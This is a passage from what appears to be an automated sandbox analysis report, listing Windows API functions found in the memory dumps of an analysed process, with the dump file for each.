00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: 